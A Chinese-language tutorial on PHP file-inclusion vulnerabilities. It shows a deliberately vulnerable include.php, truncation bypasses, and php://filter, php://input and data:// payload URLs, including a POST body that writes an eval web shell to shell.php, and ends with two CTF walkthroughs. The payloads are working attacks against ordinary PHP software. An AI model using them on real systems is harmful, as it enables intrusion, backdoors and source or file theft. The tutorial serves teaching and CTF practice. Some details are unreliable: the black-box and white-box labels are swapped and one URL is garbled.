文件包含

文件包含

文件包含:将文件里的内容以脚本代码执行

漏洞成因:可控变量、文件包含函数

文件包含函数:

有文件包含的各个脚本的代码
文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()。
区别如下:

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。

本地包含

#本地搭建-include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
#1.php
<?php
phpinfo();
?>

本地访问:http://127.0.0.1/include.php?filename=1.txt** 得到以下界面 **

图片.png

如果想要包含的文件不在当前目录,可以使用../ 返回上级**
举例:我把 1.txt 放在 D 盘的根目录下,就可以这样访问http://127.0.0.1/include.php?filename=../../1.txt

远程包含

相较于本地包含它的危害更大,如果是远程包含可以这样访问

php远程文件包含的前提条件是开启了allow_url_include
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt
如果将1.txt文件内容改为一句话木马,则可以使用菜刀等工具连接后门

检测方法

黑盒:代码审计

白盒:漏扫工具、公开漏洞、手工看参数值及功能点

绕过方法

有限代码是这样的,它限制了后缀名

<?php
$filename=$_GET['filename'];
include($filename.".html");
echo '123';
?>

方法一:%00 截断

条件:magic_quotes_gpc = Off php 版本 <5.3.4

使用 payload

http://127.0.0.1/include.php?filename=1.txt%00
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt%00
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt%23
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt?

方法二:长度截断 (垃圾数据填充) 用多个点号或者 /. 在 filename=1.txt 后面输入多个点号。

条件:windows 点号需要长于 256;linux 长于 4096

http://127.0.0.1/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

各种协议流

image-20220430225107433

php://filter——读取文件源码

http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
使用base64编码是为了防止乱码

image-20220430225338752

php://input——执行 php 代码

image-20220430225703306

##php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分:<?php system("var"); ?>]

image-20220430230425356** **

php://input——写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

image-20220430230625740

file:// 访问本地文件

用于访问本地文件系统。当指定了一个相对路径 (不以、、\ 或 Windows 盘符开头的路径) 提供的路径将基于当前的工作目录。

方法一:file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?filename=file://D:\phpstudy_pro\WWW\1.txt
方法二:file://[文件的相对路径和文件名]
http://127 .0.0.1/include . php?file= ./phpinfo. txt

图片.png

data:// 执行 php 代码

数据流封装器,以传递相应格式的数据,通常可以用来执行 php 代码

http://127.0.0.1/include.php?filename=data://text/plain,<?php+phpinfo();?>
http://127.0.0.1/include.php?filename=data://text/plain;base64,PD9waHAlMjBwaHBpbmZvKCk7Pz4KIA==

image-20220430231842147** **

CTF 典型例题

CTF- 南邮大,i 春秋百度杯真题 - 白盒

地址:http://4.chinalover.sinaapp.com/web7/index.php

image-20220430232236973

点击按钮

image-20220430232410845

http://4.chinalover.sinaapp.com/web7/show.php

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

发现访问这两个网站,页面显示内容均为 test123, 确定为文件包含漏洞

尝试根据协议读取源码

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

image-20220430232650900

base64 解码,得到 flag

image-20220430232814585

i 春秋某 Web Include CTF 题

网址:https://www.ichunqiu.com/battalion?t=1&r=0

首页打开如下图所示,说明含有文件包含漏洞。

图片.png
图片.png

尝试读取本目录下的文件结构,成功

.com/?path=php://input

image-20220430233954722** **

尝试读取 dle345ae.php 文件

image-20220430234431320** **

还可以使用php://filter 协议,读取文件内容后,到本地 base64 解码,拿到 flag。

图片.png
图片.png